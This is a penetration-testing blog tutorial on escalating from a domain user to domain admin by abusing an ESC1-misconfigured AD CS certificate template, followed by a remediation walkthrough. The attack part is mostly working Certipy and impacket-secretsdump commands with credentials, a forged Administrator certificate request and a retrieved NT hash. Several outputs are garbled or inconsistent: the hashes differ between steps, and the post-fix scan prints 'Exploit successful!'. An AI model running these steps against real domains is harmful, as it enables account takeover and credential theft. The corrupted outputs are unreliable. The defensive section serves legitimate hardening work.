

Exploit Misconfigured AD Cert Template (ESC1)

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Exploiting Misconfigured Active Directory Certificate Template – ESC1

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- Active Directory
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Certificates are crucial in establishing trust and securing communication within the Active Directory environment. They are used for authentication, encryption, and digital signatures. Certificate Templates are predefined configurations that define the properties and settings for the certificates issued by the Active Directory Certificate Authority (CA). These templates help standardize certificate issuance and ensure certificates adhere to specific security requirements. An attacker can use these templates to escalate privileges from domain users to that of a domain admin if they are not configured correctly. In this blog, we will discuss what a vulnerable template is and how to exploit and fix it.

Active Directory Certificate Services (AD CS) Templates

Active Directory Certificate Services (AD CS) templates are predefined certificate request configurations that allow administrators to define the characteristics of certificates that will be issued by the CA (Certificate Authority). Templates serve as blueprints for different types of certificates and their properties, making it easier to manage and issue certificates with consistent settings across an organization's PKI (Public Key Infrastructure).

Administrators can streamline requesting, issuing, and managing certificates within an organization using templates. Templates ensure consistency, simplify the certificate issuance process, and help maintain security standards by enforcing specific configurations for different certifications.

Active Directory Certificate Services (AD CS) Vulnerable Templates

Templates, by default, are not vulnerable but made vulnerable by human-made misconfigurations. When writing this blog, these misconfigurations are divided into 11 parts (ESC1-ESC11). In this blog, we will exploit ESC1 misconfiguration in a template.

By exploiting this type of vulnerable Template, a domain user can escalate his privileges to that of a domain administrator in a Windows Active Directory Environment.

Exploiting ESC1

For exploiting ESC1, we need the Template to meet certain criteria. The Template must have:

- Enrollment Rights are set for the group our user belongs to so that we can request a new certificate from the Certificate Authority (CA).
- Extended Key Usage: Client Authentication means the generated certificate based on this Template can authenticate to the domain computers.
- Enrollee Supplies Subject set to True, which means we can supply SAN (Subject Alternate Name)
- No Manager Approval is required, which means the request is auto-approved.

Step to Exploit Misconfigured Certificate Template – ESC1

1) Certipy is a tool used for finding and exploiting certificates in Active Directory.

```
(root㉿kali)-[~/home/kali]
└─# certipy
Certipy v4.5.1 - by Oliver Lyak (ly4k)

usage: certipy [-v] [-h] {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} ...

Active Directory Certificate Services enumeration and abuse

positional arguments:
  {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template}
    Action
      account      Manage user and machine accounts
      auth         Authenticate using certificates
      ca          Manage CA and certificates
      cert         Manage certificates and private keys
      find         Enumerate AD CS
      forge        Create Golden Certificates
      ptt          Inject TGT for SSPI authentication
      relay        NTLM Relay to AD CS HTTP Endpoints
      req          Request certificates
      shadow       Abuse Shadow Credentials for account takeover
      template     Manage certificate templates

options:
  -v, --version      Show Certipy's version number and exit
  -h, --help         Show this help message and exit
```



2) Run certipy against the domain controller to find any vulnerable templates.

```
certipy find -vulnerable -dc-ip 192.168.0.144 -u Guts@ACU.local -p 'P@ssw0rd!'
```

```
(root㉿kali)-[~/home/kali]
└─# certipy find -vulnerable -dc-ip 192.168.0.144 -u Guts@ACU.local -p 'P@ssw0rd!'
Certipy v4.5.1 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'ACU-ANIKATE-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'ACU-ANIKATE-DC-CA' via CSRA: CASError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'ACU-ANIKATE-DC-CA' via RRP
[*] Got CA configuration for 'ACU-ANIKATE-DC-CA'
[*] Saved BloodHound data to '20230817110515_Certipy.zip'. Drag and drop the file into the BloodHound GUI from aliy4k
[*] Saved text output to '20230817110515_Certipy.txt'
[*] Saved JSON output to '20230817110515_Certipy.json'
```



-u: Domain User
-p: Domain User Password
-dc-ip: Domain Controller IP

Domain: ACU.local

3) Cat the created text file by certipy to see the vulnerable Template.

```

root@kali:[/home/kali]
# cat 20230817110515_Certipy.txt
[+] Certificate Authorities
0
  CA Name : ACU-ANIKATE-DC-CA
  DNS Name : Anikate-DC.ACU.local
  Certificate Subject : CN=ACU-ANIKATE-DC-CA, DC=ACU, DC=local
  Certificate Serial Number : 58B6F272B8085D8B4296C533E98D3469
  Certificate Validity Start : 2023-08-17 13:52:47+00:00
  Certificate Validity End : 2028-08-17 14:02:47+00:00
  Web Enrollment : Enabled
  User Specified SAN : Disabled
  Request Disposition : Issue
  Enforce Encryption for Requests : Enabled
  Permissions
    Owner : ACU.LOCAL\Administrators
    Access Rights
      ManageCa : ACU.LOCAL\Administrators
      ACU.LOCAL\Domain Admins
      ACU.LOCAL\Enterprise Admins
    ManageCertificates : ACU.LOCAL\Administrators
      ACU.LOCAL\Domain Admins
      ACU.LOCAL\Enterprise Admins
    Enroll : ACU.LOCAL\Authenticated Users
  [!] Vulnerabilities
    ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
[+] Certificate Templates
0
  Template Name : ESC1
  Display Name : ESC1
  Certificate Authorities : ACU-ANIKATE-DC-CA
  Enabled : True
  Client Authentication : True
  Enrollment Agent : False
  Any Purpose : False
  Enrollee Supplies Subject : True
  Certificate Name Flag : EnrolleeSuppliesSubject
                            SubjectAltRequireDomainDns
  Enrollment Flag : PublishToDs
  Extended Key Usage : Server Authentication
                        Client Authentication
  Requires Manager Approval : False
  Requires Key Archival : False
  Authorized Signatures Required : 0
  Validity Period : 1 year
  Renewal Period : 6570 hours
  Minimum RSA Key Length : 2048
  Permissions
    Enrollment Permissions
      Enrollment Rights : ACU.LOCAL\Domain Users
                            ACU.LOCAL\Enterprise Read-only Domain Controllers
                            ACU.LOCAL\Domain Admins
                            ACU.LOCAL\Domain Controllers

```

```


  ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
[+] Certificate Templates
0
  Template Name : ESC1
  Display Name : ESC1
  Enabled : False
  Client Authentication : True
  Enrollment Agent : False
  Any Purpose : False
  Enrollee Supplies Subject : True
  Certificate Name Flag : EnrolleeSuppliesSubject
                            SubjectAltRequireDomainDns
  Enrollment Flag : PublishToDs
  Extended Key Usage : Server Authentication
                        Client Authentication
  Requires Manager Approval : False
  Requires Key Archival : False
  Authorized Signatures Required : 0
  Validity Period : 1 year
  Renewal Period : 6570 hours
  Minimum RSA Key Length : 2048
  Permissions
    Enrollment Permissions
      Enrollment Rights : ACU.LOCAL\Domain Users
                            ACU.LOCAL\Enterprise Read-only Domain Controllers
                            ACU.LOCAL\Domain Admins
                            ACU.LOCAL\Domain Controllers
                            ACU.LOCAL\Enterprise Admins
                            ACU.LOCAL\Authenticated Users
                            ACU.LOCAL\Enterprise Domain Controllers
  Object Control Permissions
    Owner : ACU.LOCAL\Administrator
    Write Owner Principals : ACU.LOCAL\Domain Admins
                            ACU.LOCAL\Enterprise Admins
                            ACU.LOCAL\Administrator
    Write Dacl Principals : ACU.LOCAL\Domain Admins
                            ACU.LOCAL\Enterprise Admins
                            ACU.LOCAL\Administrator
    Write Property Principals : ACU.LOCAL\Domain Admins
                                ACU.LOCAL\Enterprise Admins
                                ACU.LOCAL\Administrator
  [!] Vulnerabilities
    ESC1 : 'ACU.LOCAL\\Domain Users' and 'ACU.LOCAL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication

```

From the above image, it is clear that enrollment rights are set for Domain Users, Enrollee Supplies Subject is set to True, and Extended Key Usage has Client Authentication.

4) Request a certificate and supply the Administrator's SAN (Subject Alternate Name).

```
certipy req -dc-ip 192.168.0.144 -u Guts@ACU.local -p 'P@ssw0rd!' -ca ACU-ANIKATE-DC-CA -target ANIKATE-DC.ACU.local -template ESC1 -upn Administrator@ACU.local -dns Anikate-DC.ACU.local
```




```
[+] Requesting certificate via RPC
[+] Successfully requested certificate
[+] Request ID is 6
[*] Got certificate with multiple identifications
  UPN: 'Administrator@ACU.local'
  DNS Host Name: 'Anikate-DC.ACU.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to "administrator_anikate-dc.pfx"
```

- **ca:** Certificate Authority (ACU-ANIKATE-DC-CA in this case)
- **target:** CA Hostname (ANIKATE-DC.ACU.local in this case)
- **Template:** Name of the vulnerable Template (ESC1 in this case)
- **upn:** Target Username (Administrator in this case)
- **dns:** DNS Server (Anikate-DC.ACU.local in this case)

5) Authenticate against the domain controller using the certificate.

```
certipy auth -pfx administrator_anikate-dc.pfx -dc-ip 192.168.0.144
```



```
[+] Found multiple identifications in certificate
[+] Please select one:
  [0] UPN: 'Administrator@ACU.local'
  [1] DNS Host Name: 'Anikate-DC.ACU.local'
  _0
[*] Using principal: administrator@acu.local
[*] Trying to get TGT...
[*] Got TGT...
[*] Using credential cache to "administrator.ccache"
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for "administrator@acu.local": aad3b425b51404eead3b435b51404ee:9a0c89751f9ac837242da5ac889fa3a8
```

auth: which identity to authenticate as (We are establishing as Administrator, so use 0, i.e., UPN: [Administrator@ACU.local](#))

-pfx: Saved Certificate (administrator_anikate-dc.pfx in this case)

Now, we attempt to show the domain controller using the certificate and get the TGT (Ticket Granting Ticket); the domain controller will attach the NTLM hash of the user with TGT.


6) Now, we dump hashes and LSA secrets using secretsdump.

```
impacket-secretsdump -hashes  
aad3b435b51404eeaad3b435b51404ee:9a0c89751f9ac637242da5ac889fa3aa'  
'ACU.local/Administrator@192.168.0.144.'
```




Fixing the Misconfigured Certificate Template – ESC1


- 1) Open the Server Manager on your Certificate Authority.
 - 2) Click on Tools and then Certification Authority.




- 3) Right Click on Certificate Templates and click on Manage




4) Right Click on the vulnerable Template and click on Properties.




5) Go to Issuance Requirements and Check the CA certificate manager approval box.



6) Go to Subject Name, select Build from this Active Directory information instead of Supply in the request, and click Apply.



7) Go to Security, select Domain Users Group, uncheck the enroll box, and then click Apply and OK.



8) Now rerun the certipy.

```
[root@kali ~]# /home/kali/certipy find -vulnerable -dc-ip 192.168.0.144 -u Guts@ACU.local -p 'P@ssw0rd'
Certipy v4.5.1 - by Oliver Lyak (ly4k)
[+] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'ACU-ANIKATE-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'ACU-ANIKATE-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'ACU-ANIKATE-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'ACU-ANIKATE-DC-CA'
[*] Saved BloodHound data to '20230817113658_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230817113658_Certipy.txt'
[*] Saved JSON output to '20230817113658_Certipy.json'

[+] Exploit successful!
```

9) Cat the created text file by certipy to see if the vulnerable Template exists.

```
[#] cat 20230817113658_Certipy.txt
Certificate Authorities
0
  CA Name : ACU-ANIKATE-DC-CA
  DNS Name : Anikate-DC.ACU.local
  Certificate Subject : CN=ACU-ANIKATE-DC-CA, DC=ACU, DC=local
  Certificate Serial Number : 58B6F272B8085D8B4296C533E98D3469
  Certificate Validity Start : 2023-08-17 13:52:47+00:00
  Certificate Validity End : 2028-08-17 14:02:47+00:00
  Web Enrollment : Enabled
  User Specified SAN : Disabled
  Request Disposition : Issue
  Enforce Encryption for Requests : Enabled
  Permissions
    Owner : ACU.LOCAL\Administrators
    Access Rights
      ManageCa
        ManageCertificates
          Enroll
          [!] Vulnerabilities
          ESC8
        Certificate Templates : [!] Could not find any certificate templates
      View Previous Task
```

Certipy could not find any vulnerable templates.

TL;DR

Attackers can escalate their privileges from domain users to domain admins by exploiting the misconfiguration of certificate templates that are not vulnerable by default but due to human-made misconfigurations. For exploitation, we need the Template to meet certain requirements. We can supply SAN (Subject Alternate Name), manager approval set to False, the group members our user belongs to can enroll (enrollment rights for our user group), and Template allows client authentication.

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